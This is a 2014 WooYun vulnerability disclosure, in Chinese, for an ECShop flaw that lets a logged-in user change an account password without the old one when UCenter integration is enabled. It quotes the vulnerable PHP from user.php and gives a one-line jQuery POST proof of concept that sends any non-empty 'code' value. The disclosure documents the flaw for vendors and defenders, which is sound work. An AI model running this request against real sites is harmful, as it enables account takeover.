当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051149

漏洞标题:ecshop绕过原密码校验直接修改用户密码(安全隐患)

相关厂商:ShopEx

漏洞作者: ksc

提交时间:2014-02-17 11:14

修复时间:2014-05-18 11:15

公开时间:2014-05-18 11:15

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-17: 细节已通知厂商并且等待厂商处理中
2014-02-17: 厂商已经确认,细节仅向厂商公开
2014-02-20: 细节向第三方安全合作伙伴开放
2014-04-13: 细节向核心白帽子及相关领域专家公开
2014-04-23: 细节向普通白帽子公开
2014-05-03: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

最新版本也存在此问题

详细说明:

该漏洞有个前提,需要会员系统整合ucenter
问题出在
user.php $action == 'act_edit_password'

QQ截图20140217093645.png


$old_password = isset($_POST['old_password']) ? trim($_POST['old_password']) : '';
$new_password = isset($_POST['new_password']) ? trim($_POST['new_password']) : '';
$user_id = isset($_POST['uid']) ? intval($_POST['uid']) : $user_id;
$code = isset($_POST['code']) ? trim($_POST['code']) : '';
if (strlen($new_password) < 6)
{
show_message($_LANG['passport_js']['password_shorter']);
}
$user_info = $user->get_profile_by_id($user_id); //论坛记录
if (($user_info && (!empty($code) && md5($user_info['user_id'] . $_CFG['hash_code'] . $user_info['reg_time']) == $code)) || ($_SESSION['user_id']>0 && $_SESSION['user_id'] == $user_id && $user->check_user($_SESSION['user_name'], $old_password)))
{
if ($user->edit_user(array('username'=> (empty($code) ? $_SESSION['user_name'] : $user_info['user_name']), 'old_password'=>$old_password, 'password'=>$new_password), empty($code) ? 0 : 1))
{
$user->logout();
show_message($_LANG['edit_password_success'], $_LANG['relogin_lnk'], 'user.php?act=login', 'info');
}
else
{
show_message($_LANG['edit_password_failure'], $_LANG['back_page_up'], '', 'info');
}
}


我把上面主要代码精简一下
$code='123';
$old_password=null;
$user_info['user_name']=当前用户名

if( false ||$_SESSION['user_id']>0 && $_SESSION['user_id'] == $user_id && $user->check_user($_SESSION['user_name'], $old_password))){
#ucenter 模块中check_user未对原密码校验此处为True

if ($user->edit_user(array('username'=> ( $user_info['user_name']), 'old_password'=>$old_password, 'password'=>$new_password), 1))
{
#edit_user() $code不为空,所以最后一个参数为1 则不校验原密码直接修改
成功修改密码
}
}


问题主要出在两个地方
1.ucenter用户整合模块实现check_user()时未校验原密码
2. 通过code找回密码的代码和通过原密码修改密码的代码弄的到一块了
if语句嵌套太多容易扯着蛋蛋

漏洞证明:

登录网站打开调试 粘贴以下js代码运行(为了简化代码,假设有jquery)

$.post('user.php?act=act_edit_password',{'new_password':'123456',code:'不为空就行'},
function(data){

});


然后刷新代码
若是退出状态则修改密码成功

修复方案:

版权声明:转载请注明来源 ksc@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-02-17 11:47

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快处理
谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2014-02-20 16:05 | Wens0n ( 普通白帽子 | Rank:102 漏洞数:22 | 精华漏洞数:32 | WooYun认证√ 舞蹈系教授)

    很牛的样子!

  2. 2014-02-24 21:53 | 牧马者 ( 路人 | Rank:0 漏洞数:1 | 菩提本无树明镜亦非台本来无一物何处惹尘埃)

    很牛的样子!